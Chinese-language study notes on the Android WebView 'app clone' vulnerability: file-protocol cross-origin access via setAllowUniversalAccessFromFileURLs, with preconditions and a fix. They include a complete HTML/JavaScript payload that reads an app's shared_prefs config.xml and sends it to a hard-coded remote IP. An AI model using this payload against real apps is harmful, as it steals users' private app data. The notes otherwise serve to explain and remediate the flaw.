支付寶應用克隆
link
流程總結
自動搶紅包的鏈接
通過接收外部傳入的URL參數,在APP內進行加載
· URL Scheme協議
· link
跨域
瀏覽器同源策略
· 兩個URL的協議、端口、域名相同,則爲同源,互相訪問資源不受限制
跨域請求
· 不同的源之間的請求,會被瀏覽器所禁止
File協議
主要用於訪問本地文件
· html文件
WebView
· setAllowUniversalAccessFromFileURLs
· True
File協議的跨域機制
· File協議中的腳本可以跨域訪問其他協議,比如HTTP
攻擊思路
惡意html文件讀取本地敏感文件內容,並通過HTTP請求發送至遠程服務器
WebView加載本地惡意html文件
漏洞前提
- 攻擊者可以外部調用被攻擊APP,指令其加載一個本地的html文件(比如搶紅包鏈接)
- 被攻擊APP的setAllowUniversalAccessFromFileURLs值爲true
- 攻擊者需要在被攻擊的手機上下載一個html文件並保存在一個可被File協議訪問到的位置(可以利用其他漏洞來實現)
payload
<html>
<script>
var arm ="file:///data/data/com.example.q00412688.myapplication/shared_prefs/config.xml";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("statusis"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
window.data=xmlhttp.responseText;
alert(window.data);
var url ="http://114.115.139.176/getdata.jsp?data="+window.data;
var xmlhttp2;
if(window.XMLHttpRequest)
{
xmlhttp2=newXMLHttpRequest();
}
xmlhttp2.onreadystatechange=function()
{
//alert("statusis"+xmlhttp.status);
if(xmlhttp2.readyState==4)
{
alert(xmlhttp2.responseText);
}
}
xmlhttp2.open("GET",url);
xmlhttp2.send(null);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
</script>
</html>
修復方案
將setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs這兩個屬性顯示設置爲False。